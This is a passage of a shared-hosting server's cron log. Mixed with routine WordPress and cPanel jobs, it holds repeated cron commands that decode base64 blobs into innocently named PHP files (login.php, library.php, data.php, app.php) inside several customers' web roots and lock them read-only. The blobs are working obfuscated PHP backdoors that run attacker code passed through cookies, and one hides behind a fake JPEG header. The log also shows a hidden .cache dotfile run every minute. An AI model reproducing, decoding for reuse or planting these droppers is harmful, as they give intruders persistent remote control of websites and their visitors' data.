"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:30:02 medusa CROND[13908]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:30:02 medusa CROND[13901]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:30:02 medusa CROND[13909]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:30:02 medusa CROND[13915]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:30:02 medusa CROND[13906]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:30:02 medusa CROND[13918]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 10:30:02 medusa CROND[13907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:30:02 medusa CROND[13910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13911]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:30:02 medusa CROND[13916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13927]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:30:02 medusa CROND[13929]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13913]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:30:02 medusa CROND[13924]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:30:02 medusa CROND[13921]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 10:31:01 medusa CROND[3883]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:31:01 medusa CROND[3886]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:31:01 medusa CROND[3885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:31:01 medusa CROND[3887]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:31:01 medusa CROND[3884]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:31:01 medusa CROND[3888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:31:01 medusa CROND[3889]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:31:01 medusa CROND[3901]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:31:01 medusa CROND[3907]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:31:01 medusa CROND[3909]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:31:01 medusa CROND[3903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:31:01 medusa CROND[3904]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:31:01 medusa CROND[3911]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:32:01 medusa CROND[25981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:32:01 medusa CROND[26092]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:32:01 medusa CROND[26094]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:32:01 medusa CROND[26093]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:32:01 medusa CROND[26096]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:32:01 medusa CROND[26097]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:32:01 medusa CROND[26098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:32:01 medusa CROND[26102]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:32:01 medusa CROND[26103]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:32:01 medusa CROND[26104]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:32:01 medusa CROND[26107]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpX